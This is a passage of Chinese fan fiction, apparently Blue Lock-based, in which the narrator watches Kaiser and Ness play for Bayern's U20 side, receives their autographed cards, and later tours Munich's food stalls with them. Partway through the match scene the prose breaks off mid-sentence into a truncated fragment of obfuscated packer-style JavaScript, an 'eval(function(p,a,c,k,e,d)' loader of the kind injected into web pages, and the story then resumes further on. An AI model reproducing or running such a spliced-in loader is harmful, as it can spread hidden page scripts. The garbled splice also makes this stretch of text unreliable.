我瘫在另一张沙发上,有气无力地点点头:“见识到了……”不仅见识了球技的多样性,更见识了性格的多样性。从凯撒到洛基,再到今天的克里斯和诺亚……这些站在足球世界顶端的人,果然一个个都……非同凡响。 “克里斯那小子,虽然看起来像个没长大的孩子,吵吵嚷嚷的,但技术和天赋真是没得说,冲击力强得吓人。”爸爸摸着下巴点评道,“诺亚就更不用说了,绝对的怪物,冷静得像台机器。他俩的风格截然不同,但都能要了守门员的命。” 他看向我,眼神里带着点戏谑:“不过,在我女儿心里,还是老爸我最厉害,对吧?” 我看着他那副得意洋洋求表扬的样子,忍不住笑了:“是是是,你最厉害。能挡住怪物和冲击力的守门员,才是最厉害的。” “哈哈!没错!”爸爸心满意足地大笑起来。 笑过之后,我看着满桌的残羹冷炙,叹了口气:“所以……这些盘子谁来收拾?” 爸爸的笑容瞬间僵在脸上:“……呃,酒店服务?” 我:“……” 最终,我们还是认命地一起把垃圾收拾好,放在了门口。 回到自己房间,洗漱完毕躺在床上的时候,感觉今天一天过得格外漫长。脑海里像走马灯一样闪过无数画面:凯撒戏谑的脸,内斯惊慌的表情,克里斯阳光的笑容,诺亚冷静的吐槽,还有我爸看热闹不嫌事大的样子…… 足球的世界,光怪陆离,却又充满了致命的吸引力。 明天就要去看比赛了,内斯和凯撒都会上场。不知道又会发生什么…… 想到凯撒,我又觉得脸颊有点发烫。赶紧把脸埋进枕头里。 睡觉睡觉!但愿今晚不要再梦到任何奇奇怪怪的白男了! *** 这是我第一次来现场看球赛。 为了避开可能的人群和目光,我特地起了个大早,天蒙蒙亮就跟着爸爸出了门。清晨的慕尼黑空气带着凉意,街道还很安静,只有零星几个穿着拜塔球衣的球迷匆匆走过。爸爸显得很兴奋,一路都在哼着不成调的队歌,时不时拍拍我的肩膀,指着路过的建筑物介绍哪家酒吧的啤酒好喝,哪家香肠最地道——虽然这些和他一个守门员的关系似乎不大。 拜塔的主场比我在电视上看到的还要宏伟,巨大的钢结构在晨曦中泛着冷硬的光泽。通过专门的通道验票入场,内斯给的家属票位置极好,就在主队替补席侧后方,能清晰地看到球员通道出口和大部分场地区域。座椅是柔软的红色,扶手上还刻着拜塔的队徽。陆续有球迷入场,空气中开始弥漫开一种躁动不安的期待感,各种语言的交谈声、呼喊声、以及现场广播播放的热场音乐混杂在一起,敲打着我的耳膜。 我有些紧张地攥紧了手,掌心微微出汗。爸爸倒是泰然自若,一坐下就开始四处张望,跟旁边几个看起来像是老熟人的球迷打招呼,用他那带着口音的德语聊得热火朝天。 “看那边,”他忽然凑过来,指着球员通道口,“快开始了。” 现场灯光微微暗下,一束追光灯打通道口。巨大的欢呼声如同海啸般骤然掀起,几乎要掀翻整个球场顶棚!我的心跳也跟着这声浪漏跳了一拍。 裁判团队率先走出,紧接着,穿着主场队服的拜塔U20队员们牵着球童,一个个走了出来。每出现一个身影,看台上就爆发出相应的欢呼声。 内斯是中间偏后的位置出来的。他一出场就急切地朝看台我们这边张望,视线扫了一圈,很快锁定在我们身上。他脸上立刻绽放出毫不掩饰的开心笑容,用力地朝我们挥了挥手,梅色的眼睛弯成了月牙。他身旁的小球童似乎也被他的情绪感染,仰头跟他说了句什么,内斯笑着揉了揉那孩子的头发。 而凯撒,几乎是压轴出场。他甫一出现,整个球场的分贝瞬间达到了顶峰,无数人高喊着他的名字,声浪几乎具象化,震得座椅都在微微颤动。他脸上没什么表情,似乎对这种山呼海啸早已习以为常,只是微微抬了抬下巴,冰蓝色的眼眸习惯性地扫视看台,像是在巡视自己的领地。他的目光掠过我们所在的区域时,极其短暂地停顿了那么零点几秒,嘴角极其细微地向上勾了一下,形成一个转瞬即逝、意味不明的弧度,快得让我怀疑是不是自己眼花了。随即他便移开视线,面无表情地牵着球童走向场内。 “啧,这小子,排场不小。”爸爸在一旁摸着下巴评价道,语气听不出是赞叹还是别的。 队员们开始在场内热身,拉伸、传接球、射门练习。凯撒和内斯自然而然地凑在一起进行短传配合,两人的动作流畅得如同呼吸,足球在他们脚下仿佛有了生命,精准地来回传递,没有一丝迟滞。即使隔着一段距离,也能感受到他们之间那种无需言语的默契。 爸爸趁这个机会,身体微微向我这边倾斜,开始压低声音给我恶补现场看球的规则和门道。 “看到那个戴手套的家伙没?对,就是门将。他是场上唯一能用手碰球的,但只限在大禁区里……”他指着正在练习扑救的拜塔门将,“你老爸我以前可是这位置的顶尖好手!” “那边,穿不一样颜色背心的,是裁判。他说了算,哪怕他眼瞎判错了,也得听他的,不然就给牌——黄的警告,红的直接下场。” “越位?呃……这个有点复杂,简单说就是进攻的时候不能比球和倒数第二个防守球员更靠近对方底线……算了,你第一次看,先别管这个,看个热闹就行!” 他絮絮叨叨地说着,从角球、界外球说到任意球、点球,从阵型说到各个位置的大致职责。我大部分都听懂了,毕竟耳濡目染这么多年,理论知识还是有一点的,只是缺乏现场的直观感受。 很快,热身结束,双方队员站定,准备开球。整个球场的气氛瞬间绷紧,如同拉满的弓弦。裁判一声哨响,比赛正式开始! 足球在场地上飞快地传递起来,呼喊声、奔跑声、鞋钉刮擦草皮的声响、还有看台上数万人制造的持续不断的噪音,混合成一股巨大的声浪,将我完全包裹其中。我第一次如此真切地感受到足球比赛的冲击力,那种速度和力量的碰撞,战术和技术的博弈,在现场被无限放大,远比在电视前观看要震撼得多。 拜塔显然占据了场上主动,而他们的进攻核心,毫无疑问是米歇尔·凯撒。 他就像一把出鞘的利刃,冰冷、锋利、目标明确。他的跑动充满了爆发力和侵略性,总能在最危险的区域出现。而给他输送炮弹的,大多来自于亚历克西斯·内斯。 内斯在中场不知疲倦地奔跑、调度、拦截。他的视野开阔得惊人,总能发现别人看不到的空当。他的脚踝似乎异常柔软,能做出各种匪夷所思的摆脱和传球动作。足球到了他脚下,仿佛被赋予了魔力,总能以最舒服的方式、最恰当的时机,送到前插的凯撒脚下。 “漂亮!”爸爸忍不住低声喝彩,指着又一次成功摆脱防守送出直塞的内斯,“看这脚传球!时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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进球后的凯撒没有狂奔庆祝,他只是站在原地,张开双臂,微微昂起头,闭上眼睛,享受着全场为他响起的、山呼海啸般的呐喊——“凯撒!凯撒!米歇尔·凯撒!” 那声音是如此统一而狂热,仿佛某种宗教仪式上的祷告。聚光灯打在他身上,将他那头金蓝挑染的发丝照得几乎在发光,手臂上的蓝玫瑰纹身在灯光下若隐若现。他就像是这片绿色战场上唯一的王者,理所当然地接受着所有人的顶礼膜拜。 然后,他放下了手臂,冰蓝色的眼眸倏地睁开,精准地越过欢呼的人群,再次投向我们所坐的这片家属区。 他脸上依旧没什么明显的表情,但那双眼睛里却闪烁着一种近乎戏谑和示威的光芒。在数万人的注视下,他忽然朝着我们的方向,动作夸张地、戏剧般地微微鞠了一躬!幅度不大,却带着一种刻意的表演感,仿佛在说——看,这就是我的进球。 我的脸颊猛地一热,下意识地别开了视线,心脏却跳得更快了,不知道是因为进球的兴奋,还是因为他这该死的、针对性极强的举动。 “哈哈!这臭小子!进球还忘不了耍帅!”爸爸在一旁哈哈大笑,用力拍着巴掌,似乎觉得很有趣,“不过这球进得是真漂亮!内斯传得也绝了!” 上半场剩下的时间在拜塔的掌控中度过。凯撒和内斯的配合越发娴熟,几乎统治了中场。看台上的欢呼声一浪高过一浪,“凯撒”的名字不绝于耳。我第一次如此直观地感受到他在球场上的统治力和……人气。推特上那些疯狂的言论似乎有了现实的依据。 中场休息的哨声吹响,球员们陆续走回通道。大部分球迷都起身活动,去买饮料或者食物。 我和爸爸坐在原地没动。没过几分钟,竟然看到凯撒和内斯脱离了球队大队,径直朝着我们这边的看台栏杆走了过来! 内斯脸上洋溢着汗水和不加掩饰的兴奋,眼睛亮晶晶的,隔着老远就朝我们挥手:“清田先生!爱!你们看到了吗?” 凯撒跟在他身后半步的位置,慢悠悠地走着。他拿起一瓶水拧开,仰头喝了几口,喉结滚动着,汗水沿着他的下颌线滑落,消失在球衣领口。他喝水的动作都带着一种理所当然的傲气。喝完水,他才用那双冰蓝色的眼睛瞥向我们,嘴角似笑非笑。 “怎么样,小学徒?”他声音带着运动后的微喘,但语调依旧是他特有的那种慢条斯理的嘲弄,“现场教学,比远程指导直观多了吧?” 我的脸颊又开始不受控制地发烫,梗着脖子不想看他,硬邦邦地回了一句:“……也就那样吧。” “亚历克西斯,踢得漂亮!”爸爸完全没在意我们之间诡异的气氛,笑着对内斯竖起大拇指,“那脚转身传球,太有想象力了!简直就是艺术!” 内斯被夸得有些不好意思,脸颊红扑扑的,不知道是运动导致的还是害羞:“谢谢清田先生!主要是凯撒跑位的时机太好了……”他习惯性地将功劳归给凯撒。 凯撒对爸爸的夸奖只是挑了挑眉,不置可否。他的目光依旧落在我身上,像是发现了什么有趣的事情。 “哦?”他忽然向前倾身,手臂搭在栏杆上,这个动作让他瞬间离我很近,那股混合着汗水和淡淡薄荷气息的味道再次笼罩下来,“‘也就那样’?”他重复着我的评价,冰蓝色的眼眸里闪烁着恶劣的光,“看来你对‘那样’的标准很高啊……或者说,” 他刻意拖长了语调,视线在我发红的耳朵上扫过。 “……你光顾着看别的‘那样’,没看清进球‘那样’?” 我的呼吸猛地一窒,被他这意有所指的话堵得哑口无言,心跳如擂鼓。他绝对是在报复我开场前那句“约会”的拙劣谎言! 内斯显然也听出了凯撒话里的刁难,他脸上的笑容僵了一下,有些无措地看了看凯撒,又看了看我,试图打圆场:“凯撒!爱她第一次来看现场,可能不太适应气氛……” “是吗?”凯撒直起身,语气懒洋洋的,仿佛只是随口一提,“我还以为,经历过‘那种’场面的人,适应能力会更强呢。”他特意加重了“那种”两个字。 我恨不得当场找条地缝钻进去!这个人!怎么这么记仇!这么小心眼! “凯撒!”内斯的声音带上了点恳求的意味,轻轻拉了一下凯撒的胳膊。 爸爸在一旁看着,脸上的表情有点高深莫测,他咳嗽了一声,终于开口介入,却是对着凯撒,语气带着前辈般的调侃:“行了小子,进了个球就别逮着我女儿炫耀了。有本事下半场再进一个更漂亮的?让我也看看你现在到底有多大能耐。” 凯撒的注意力果然被转移了。他看向爸爸,冰蓝色的眼眸里闪过一丝锐利的光,像是被激起了好胜心。他勾了勾嘴角,语气带着绝对的自信:“这有什么难?等着看吧,老前辈。” 说完,他像是失去了继续逗弄我的兴趣,拍了拍内斯的后背:“走了,内斯。” 内斯松了口气,赶紧对我们抱歉地笑了笑,做了个“等下再见”的口型,连忙跟上凯撒的脚步。 看着他们两人走远的背影,我长长地吁出一口气,感觉像是打了一场仗一样累。 “这小子……”爸爸摸着下巴,看着凯撒的背影,摇了摇头,嘟囔了一句,“性格是真不讨喜,但球踢得也是真好……” 下半场的比赛很快开始。 正如爸爸所“激将”的那样,凯撒的表现更加具有统治力。他像是被那句话点燃了某种胜负欲,在前场的跑动和要球更加积极,眼神也变得更加冰冷锐利。 内斯则完美地扮演着弹药输送者的角色,一次次用他魔术般的双脚为凯撒,也为其他队友创造着机会。他的活动范围极大,覆盖了整个中场,防守时也频频见到他拦截的身影。 拜塔的第二个进球来自一次快速的边中结合。边路队员突破后传中,足球划过一道弧线飞向禁区。凯撒如同鬼魅般摆脱防守,抢在前点,一个高难度的俯冲头槌! 足球狠狠砸入网窝! 梅开二度! 全场再次沸腾!“凯撒”的声浪比上一次更加汹涌! 他甚至没有做什么特别的庆祝动作,只是站在原地,抬起手,用手指漫不经心地划过自己的下巴,眼神睥睨地扫过看台,那股唯我独尊的气场展露无遗。 爸爸也忍不住用力鼓掌:“好球!这腰腹力量!这弹跳!真是怪物!” 比赛彻底进入了拜塔的节奏。最终,比分锁定在了3:0。凯撒两射一传,内斯送出两次助攻并多次策划有威胁进攻,毫无疑问是全场最闪耀的两人。 终场哨响时,全场观众起立鼓掌。凯撒和内斯作为获胜功臣,被场边记者拉住接受采访。无数镜头对准了他们。 我们站在看台上,看着下方被聚光灯和欢呼声包围的两人。内斯脸上带着谦逊而开心的笑容,在回答问题时,总会不自觉地将目光投向凯撒。而凯撒,则是一贯的冷傲模样,回答简短而直接,冰蓝色的眼眸在镜头下显得更加深邃。 爸爸搂着我的肩膀,语气带着感慨:“看到了吗?爱,这就是顶级赛场。天赋、努力、汗水、还有那种……想要碾碎一切对手的野心和决心。很残酷,但也真的很美,对吧?” 我望着下方那片绿色的草坪,望着那些被汗水浸透、尽情享受着胜利喜悦的年轻身影,望着被无数人崇拜呐喊的凯撒,还有他身边笑容温暖的内斯,心脏深处,似乎有什么东西被轻轻触动了。 一种混合着向往、敬畏、以及一丝不甘的复杂情绪,悄然滋生。 足球的世界,原来……是这样的。 我也想,加入那个世界。 42. 签名和面包边 爸爸带着我走下了看台,混在逐渐散去的人流中,朝着球员通道附近那片相对空旷的区域挪动。那里通常会是球员们赛后与家人朋友短暂相聚的地方。巨大的欢呼声似乎还在耳膜里嗡嗡作响,混合着草皮的清新气息和数万人聚集产生的热浪,一种奇异的、令人眩晕的兴奋感还在血管里微微震颤。 我们站在栏杆外,看着不远处被媒体团团围住的凯撒和内斯。聚光灯将他们笼罩,镜头贪婪地捕捉着他们每一个表情。凯撒依旧是那副冷傲的模样,回答问题时言简意赅,下颌微扬,冰蓝色的眼眸在强光下显得更加淡漠疏离,仿佛刚才在场上那个激情庆祝的王者只是错觉。内斯则站在他侧后方一点的位置,脸上带着运动后的红晕和腼腆温和的笑容,回答问题时总会下意识地先看凯撒一眼,语气谦逊又难掩激动。 “啧,这阵仗,比老子当年还夸张。”爸爸在一旁抱着胳膊,语气说不清是感慨还是调侃,“现在的小年轻,真是不得了。” 我没接话,目光却不由自主地黏在那片光鲜亮丽之中。心脏还在为刚才那九十分钟的视觉盛宴而剧烈跳动,一种模糊的渴望在胸腔里悄然滋生——那片被无数人仰望的绿茵场,那些被聚光灯追逐的身影……我也想要,站在那样的地方。 不知过了多久,采访终于结束。记者们心满意足地散去,工作人员也开始收拾设备。凯撒和内斯几乎是同时松了口气,活动了一下有些僵硬的肩膀,然后转身,目光扫视一圈,很快便精准地锁定在了我们身上。 内斯脸上立刻绽开一个毫无保留的灿烂笑容,像是见到主人的大型犬,迫不及待地就小跑了过来,汗水浸湿的紫粉色发丝贴在额角,梅色的眼睛亮得惊人。 “清田先生!爱!”他气喘吁吁地停在栏杆前,额头上还有细密的汗珠,“你们来看比赛了!感觉怎么样?现场看和电视看是不是完全不一样?” “何止是不一样!”爸爸大笑着,伸手越过栏杆用力拍了拍内斯的肩膀,“简直太棒了!你小子今天踢得真是绝了!那几脚传球,看得我头皮发麻!有前途!” 内斯被夸得有些不好意思,脸颊更红了,连连摆手:“没有没有,是大家配合得好,尤其是凯撒的跑位……”他又习惯性地把功劳往凯撒身上引。 这时,凯撒也慢悠悠地踱了过来。他比起内斯要从容得多,只是呼吸略微有些急促,额发被汗水打湿,几缕蓝色挑染黏在皮肤上,更添了几分桀骜不驯的味道。他没有像内斯那样急切地表达什么,只是双臂环胸,斜倚在栏杆上,冰蓝色的眼眸先是扫过爸爸,然后便落在我身上,带着一种惯有的、审视般的玩味。 “哟,小学徒。”他勾起嘴角,声音带着运动后的微哑,“没在现场看睡着?”他又来调侃我。 我脸颊一热,没好气地瞪了他一眼,不想搭理他。 内斯见状,赶紧打圆场,他从旁边放着的运动背包里摸索了几下,小心翼翼地拿出两张印制精美的贺卡——是拜塔U20的官方纪念卡片,正面是球队的合影,背面则是空白的。 “那个……清田先生,爱,”内斯的脸颊又泛起红晕,这次带着点羞涩和期待,“可以的话,能请你们收下这个吗?”他将两张贺卡递过来,眼睛亮晶晶地看着我们,“我想……签个名送给你们,作为今天来看比赛的纪念……” “哦?还有礼物?”爸爸惊喜地挑眉,很是受用的样子,接过卡片翻看着,“好啊好啊!这可是未来之星们的签名,我得好好收藏!” 我也接过那张卡片,指尖能感受到纸张的光滑质感。心里有点意外,又有点暖融融的。内斯总是这样细心又周到。 “太好了!你们喜欢就好!”内斯看起来开心极了,立刻从背包侧袋掏出一支专用的签名笔,拧开笔帽,先是接过我手里的那张卡片,垫在背包上,认真地俯身开始签名。 他签得很仔细,不仅写下了自己的名字“Alexis Ness”,还在名字周围画了好几个小巧精致的爱心和一颗歪歪扭扭的足球图案,最后甚至用花体字写了一句“To Ai - All the best!” “给,爱!”他像献宝一样将签好名的贺卡递还给我,梅色的眼睛里满是期待和一点点紧张,“希望……希望你能喜欢!” “我很喜欢,谢谢你,内斯。”我看着卡片上那些用心的小图案,忍不住笑了,真诚地道谢。这份礼物或许不值钱,但其中的心意却沉甸甸的。 内斯松了口气,笑容更加灿烂,然后他转向爸爸,准备给第二张卡片签名:“清田先生,您的这张……” 就在这时,一直斜倚在栏杆上、看似对这一切漠不关心的凯撒,忽然淡淡地开口了。他的目光落在那两张几乎一模一样的贺卡上,眉头几不可查地蹙了一下,语气里带着一丝不易察觉的……被忽略的不满? “内斯,”他打断了内斯的动作,声音不高,却瞬间吸引了所有人的注意力,“为什么只有两张?” “诶?”内斯拿着笔和卡片,茫然地抬起头看向凯撒,一时间没反应过来。 凯撒的下巴微微扬了扬,视线在我们手中的卡片和内斯手上那张空白卡片之间扫了一个来回,冰蓝色的眼眸里掠过一丝了然,随即被一种理所当然的傲慢所取代:“我的呢?” 空气安静了一瞬。 我们所有人都愣住了。 爸爸眨眨眼,看看凯撒,又看看内斯,脸上露出一个恍然大悟又忍俊不禁的表情。 内斯更是彻底僵住,脸颊“唰”地一下红透了,握着笔的手都抖了一下,结结巴巴地试图解释:“凯、凯撒?这、这不是……这是我之前拜托教练特意准备的……是想送给……” 他话没说完,但意思已经很明显了。这两张贺卡是他提前准备好,打算签名后送给我和爸爸的留念礼物,根本就不是什么普通的粉丝索要签名环节!凯撒这家伙,显然是看到内斯在签名,又看到我们拿着卡片,下意识地以为这是在分发签名,而作为今天绝对主角、梅开二度的他,居然没有被优先供给签名卡片,甚至可能被“漏掉”了?这在他看来,大概是不可理解的疏忽。 爸爸在一旁使劲憋着笑,肩膀都在微微抖动,他对着急得快冒烟的内斯使了个眼色,又用口型无声地说了句什么。 内斯接收到信号,看看手里那张原本要签给爸爸的空白贺卡,又看看一脸理所当然、仿佛在等待臣民献上贡品的凯撒,犹豫了零点一秒,最终还是选择屈服于国王的威严。他深吸一口气,像是做出了什么重大决定,双手将那张空白贺卡递向了凯撒,声音还带着点颤:“凯、凯撒……这张,给你签?” 凯撒这才像是满意了,仿佛施恩般微微颔首,接过了那张卡片。他甚至没有用自己的笔——或许他根本不会随身带笔——而是非常自然地从内斯手里抽走了那支签名笔,然后学着内斯刚才的样子,将卡片垫在栏杆的平滑处,俯身签了起来。 他的签名风格和内斯截然不同。笔走龙蛇,大开大阖,带着一股凌厉的锋芒。“Michael Kaiser”几个字母被他写得极具攻击性,最后一笔甚至嚣张地拖得很长,差点划出卡片边缘。他没有画任何可爱的图案,只是在签名下方,用一种近乎挑衅的姿态,写下了一个巨大的、墨迹淋漓的数字“10”——他的球衣号码。 签完之后,他随手将笔抛还给内斯,然后捏着那张新鲜出炉、还散发着墨水味的签名贺卡,目光再次落在我身上。 在我还没反应过来之前,他已经手臂一伸,直接将那张签着“Michael Kaiser”和巨大“10”的卡片,塞进了我拿着内斯签名贺卡的那只手里。 两张卡片叠在一起,发出了轻微的啪嗒声。 “喏。”他居高临下地看着我,冰蓝色的眼眸里闪烁着恶劣又得意的光芒,仿佛完成了什么恶作剧,“不用谢。小学徒。” 我:“???” 我低头看着手里突然多出来的、墨迹似乎还没干透的凯撒签名卡,整个人都懵了。等等?这是什么情况?这张卡片……不是内斯准备给他签,然后他签完……不是应该自己留着或者给爸爸吗?怎么就塞到我手里了?! 内斯也傻眼了,看着自己空空如也的手,又看看我手里那两张并排躺着的签名卡,张了张嘴,似乎想说什么,但又不知道该说什么,表情十分精彩。 爸爸终于忍不住,“噗嗤”一声笑了出来,摇着头,语气充满了看热闹的愉悦:“哎呀呀,这下好了,买一送一?我们家小爱这下可是同时拥有未来两大中场核心的签名了!赚翻了赚翻了!” 凯撒对爸爸的调侃不置可否,只是挑了挑眉,视线依旧锁定了我,仿佛在观察我的反应。那眼神分明就是在说——怎么样?得到我的签名,是不是比内斯那张画满爱心的更值得激动? 我看着手里这两张风格迥异的签名卡,一张画满爱心和祝福语,温暖又贴心;一张只有凌厉的签名和一个嚣张的号码,傲慢又自我。它们并排放在一起,形成了一种极其诡异的反差感。 脸颊又开始不争气地发热。我攥紧了卡片,指尖能感受到纸张的边缘和似乎还未干透的墨水微微的黏腻感。心里像是打翻了调味瓶,五味杂陈——有无语,有尴尬,有一丝被强行塞礼物的恼怒,但似乎……还有那么一丝极其微弱的、连自己都不愿意承认的……受宠若惊? 呸!才没有!谁稀罕他的签名! “谢……谢谢。”我憋了半天,才从牙缝里挤出这两个字,声音小的几乎听不见,眼神飘忽就是不肯看他。 凯撒似乎对我的反应还算满意——至少没有直接把他的卡片扔回来——他轻哼了一声,算是接受了这毫无诚意的道谢,然后终于将注意力从我这移开,转向了爸爸,开始讨论刚才比赛中的几个细节。 内斯这才松了口气,赶紧又掏了掏背包,似乎想再找一张空白卡片给爸爸签,但摸遍了所有口袋都没找到,脸上顿时又写满了懊恼和歉意:“对不起,清田先生!我只准备了两张……我没想到……” “没事没事!”爸爸大度地摆摆手,笑呵呵地看着我手里那两张卡片,“这样也挺好,全归我女儿了。反正她的就是我的,我回去再问她拿来看一样的!”他说着,还对我眨了眨眼。 我默默地把两张卡片收进了随身的小包里,拉上拉链,仿佛这样就能把刚才那令人窘迫的一幕封印起来。 又闲聊了几句,凯撒和内斯便需要回更衣室进行赛后的放松和整理了。离开前,内斯还再三对我们来看比赛表示了感谢,并约好下次有机会再带我们参观基地的其他设施——当然,他强调会“严格确认凯撒的行程”。 凯撒则只是对我们随意地挥了下手,算是告别,那姿态仿佛国王结束了对平民的接见。转身离开时,他手臂上那抹蓝色的玫瑰纹身在球场通道的灯光下一闪而过。 看着他们消失在通道深处,我才彻底放松下来,长长地吁了一口气。今天这场比赛,看得真是……波澜起伏。 “走吧,闺女。”爸爸搂过我的肩膀,带着我往外走,“今天收获不小嘛,不仅看了场精彩的比赛,还白嫖了两个未来巨星的签名。” 我摸了摸包里那两张硬硬的卡片,心情复杂。“爸,你说凯撒他……是不是这里有点问题?”我指了指自己的脑袋,“他干嘛非要塞给我他的签名?明明那是内斯准备给你的……” 爸爸闻言哈哈大笑起来,用力揉了揉我的头发:“傻丫头,这还不明白?那小子,纯粹就是胜负欲强,小心眼,见不得别人有他没有的东西,哪怕那是张破卡片。而且……” 他顿了顿,语气变得有些调侃,低头看着我:“他可能觉得,比起我这个糟老头子,他的签名放在你这里,更能体现‘价值’?” 我的脸又是一热:“什么价值不价值的……胡说八道……” “哈哈哈,好好好,我胡说八道。”爸爸不再逗我,转而兴致勃勃地计划起晚餐吃什么,“走吧,折腾这么久都饿了,老爸带你去吃大餐!庆祝你今天……嗯……收获颇丰!” 跟随着爸爸的脚步走出球场,慕尼黑的晚风带着凉意吹拂在脸上,稍稍降低了脸颊的热度。我忍不住又回头望了一眼那座巨大的、已经逐渐安静下来的体育场。 绿色的草坪在夜色和灯光的勾勒下显得格外静谧,仿佛刚才那九十分钟的激烈厮杀只是一场幻梦。但手包里那两张存在感极强的卡片,却又无比真实地提醒着我刚才发生的一切。 内斯的温柔周到。凯撒的傲慢自我。爸爸的插科打诨。还有那种……被无形的线牵引着,一步步靠近那个光怪陆离又充满魅力的足球世界的感觉。 我的心跳,又一次不由自主地加快了。 *** (前景提要开始) 下午又收到了内斯的约玩邀请,这次不是去参观俱乐部,而是真的出去玩。 (前景提要结束) 我这下也不再好拒绝,只能答应下来,心想凯撒来了就把他当空气。果不其然,凯撒真来了,这次爸爸没跟着我们,他自己去找好朋友耍去了,我不知道是哪个好朋友,可能是诺亚吧。我跟着内斯,试图完全把凯撒当成空气,但这家伙总是时不时插上来几句话,甩也甩不掉。 内斯领着我穿梭在慕尼黑老城充满韵味的街道上,阳光透过古老的建筑缝隙洒下来,空气里弥漫着咖啡和烤面包的香气。他像个尽职尽责的向导,热情地给我介绍着各种地标和小店,梅色的眼睛里闪着光,努力想让这次“纯粹的游玩”变得有趣。 “爱,尝尝这个!”内斯从一家看起来颇有年头的面包店门口排队的人群中钻出来,手里拿着一个还冒着热气的、撒满了糖霜的油煎饼(Schmalznudel),“这家店是百年老字号,刚出锅的最好吃!” 我接过那金黄酥脆的饼,小心地咬了一口,外层焦香,内里柔软,甜而不腻,确实非常美味。“嗯!好吃!”我忍不住赞叹,糖霜沾了一点在鼻尖上。 内斯看着我,笑得比阳光还灿烂,下意识地就伸手想帮我擦掉,但手指伸到一半又猛地顿住,像是想起什么似的,脸颊微微泛红,慌忙从口袋里掏出一张纸巾递给我:“呃……这里,沾到了。” “谢谢。”我接过纸巾,自己也觉得有点不好意思。 “哼。”旁边传来一声极轻的、几乎被街边艺人手风琴声掩盖的冷哼。凯撒双手插在外套口袋里,慢悠悠地跟在我们身后两步远的地方,脸上架着一副遮住大半张脸的墨镜,看不清眼神,但嘴角那抹似笑非笑的弧度格外刺眼,“幼稚。” 我假装没听见,努力把注意力放回到美食和内斯的介绍上。内斯则显得有些紧张,赶紧又指向下一个目标:“那边!那家的白香肠(Wei?wurst)和甜芥末酱也很出名,要不要试试?” 于是,我们一路走,一路吃。内斯对这里似乎很熟悉,总能找到那些藏在巷子深处、却备受当地人喜爱的小摊和店铺。我尝了口感独特的白香肠,喝了清爽的麦芽啤酒(当然是无酒精的),还吃了一小块黑森林蛋糕。凯撒始终像个沉默的(除了偶尔发出嘲讽冷哼外)、存在感却极强的幽灵,跟在后面。他几乎不吃东西,只是偶尔拿起手机对着街景或者……我们?拍几张照片,然后低头摆弄着,也不知道在给谁发信息。 走到一个卖扭结饼(Brezel)的小推车旁,内斯又买了一个刚出炉的、粗盐粒闪闪发光的大扭结饼,掰了一大半给我:“这个要趁热吃,外脆内软,很香!” 我接过那热乎乎的、造型奇特的面包,小口小口地吃着。面团的麦香和碱水独特的味道混合在一起,确实很诱人。我习惯性地先吃柔软的面包体,最后才吃那烤得格外酥脆、带着粗盐粒的面包边(Brezelrinde)。 就在我专心致志地啃着最后那点硬硬的面包边时,忽然感觉到一道强烈的视线黏在我的手上。 我下意识地抬头,循着感觉望去——只见凯撒不知何时摘下了墨镜,那双冰蓝色的眼眸正一眨不眨地、直勾勾地盯着我手里那根细细长长的、被我啃得只剩最后一点的面包边!他的眼神专注得惊人,甚至带着点……猫科动物看到移动的逗猫棒时那种全神贯注、蠢蠢欲动的光芒?我的手动一下,他的视线就跟一下,仿佛全世界只剩下我和我手里这根可怜的面包边。 这……是什么情况? 我愣住了,咀嚼的动作都慢了下来。这根硬邦邦、没啥味道的面包边,有什么值得这位大爷如此关注的?难道这是什么德国独有的、我不知道的黑暗料理仪式? 内斯也注意到了凯撒诡异的视线,他看看我手里的面包边,又看看凯撒,脸上露出些许困惑,小声问道:“凯撒?怎么了?” 凯撒像是没听见,依旧盯着那面包边,甚至微微眯起了眼睛,喉结似乎不明显地滚动了一下。 一个荒谬的、几乎不可能的想法突然钻进我的脑海——他……该不会是……想吃这个吧?! 这个念头太过惊悚,让我差点把手里的面包边扔出去。但看他那副样子,越看越像!那种想靠近又拉不下脸、只能死死盯着看的别扭感…… 心脏莫名地跳快了一拍。我努力压下嘴角想要上扬的冲动,故意装作什么都没发现的样子,转过头对内斯说,声音稍微提高了一点,确保某个竖着耳朵的家伙能听见: “内斯,你知道吗?在日本,有时候这种烤得硬硬的面包边会被收集起来,碾碎后做成另一种小吃哦,或者直接蘸着炼乳什么的吃,麦香味特别浓郁,脆脆的,很多人都觉得比面包本身还要好吃呢!” 我说着,还故意把手里那最后一点面包边在空中晃了晃,然后“咔嚓”一声,咬下了最后一口,嚼得特别响亮。 眼角的余光清晰地瞥见,凯撒的视线跟着我那消失的面包边移动,直到我咽下去,他才像是突然回过神,猛地移开目光,重新戴上墨镜,下巴微微抬起,恢复成那副酷拽狂霸的模样,仿佛刚才那个盯着面包边眼睛发直的人根本不是他。但他那紧绷的嘴角和微微泛红的耳根,却出卖了他那一瞬间的窘迫和被说中心事的傲娇。 天啊!他居然真的在馋这根面包边! 这个发现让我心里莫名地升起一股诡异的成就感,比考试赢了玲王还要开心几分。原来这个看起来无所不能、毒舌又傲慢的米歇尔·凯撒,居然有这种……幼稚又可爱的饮食癖好?喜欢别人手里的面包边? 现在这副别扭又强装无事发生的表情,可比平时那副居高临下、处处找茬的样子顺眼多了,甚至……有点可爱? “是、是吗?”内斯显然还没完全搞懂状况,但他捕捉到了我语气里的笑意,也配合着点点头,“听起来很有趣的样子。德国的面包边一般都是直接丢掉的……没想到在日本还能这样吃。” “嗯哼。”旁边的凯撒发出一个意义不明的鼻音,双手环胸,目光投向远处的教堂尖顶,装作对这场关于面包边的对话毫无兴趣,但他那略显僵硬的站姿却暴露了他的不自在。 我心里快要笑翻了,但脸上还得努力维持平静。没想到一次普通的逛街,还能意外发现凯撒这种“弱点”。看来以后对付他,或许不需要正面硬刚,一根面包边就能让他破功? 这个认知让接下来的行程变得有趣起来。我时不时会故意买一些带硬边或者脆皮的面包,然后观察凯撒的反应。他虽然极力掩饰,但那双眼睛总会不受控制地在我啃到边缘部分时飘过来,虽然每次被我发现都会立刻嫌弃地移开,甚至还会附带一句“吃相真难看”之类的评价,但那微微发亮的眼神却骗不了人。 内斯似乎也渐渐明白了什么,他看看我,又看看浑身散发着“我不在乎但其实很在乎”气息的凯撒,梅色的眼睛里充满了无奈又好笑的神情,偶尔还会对我投来一个“你厉害”的敬佩眼神。 逛得累了,我们在一家露天咖啡座休息。内斯体贴地去帮我们买喝的。桌边只剩下我和凯撒。气氛一下子又 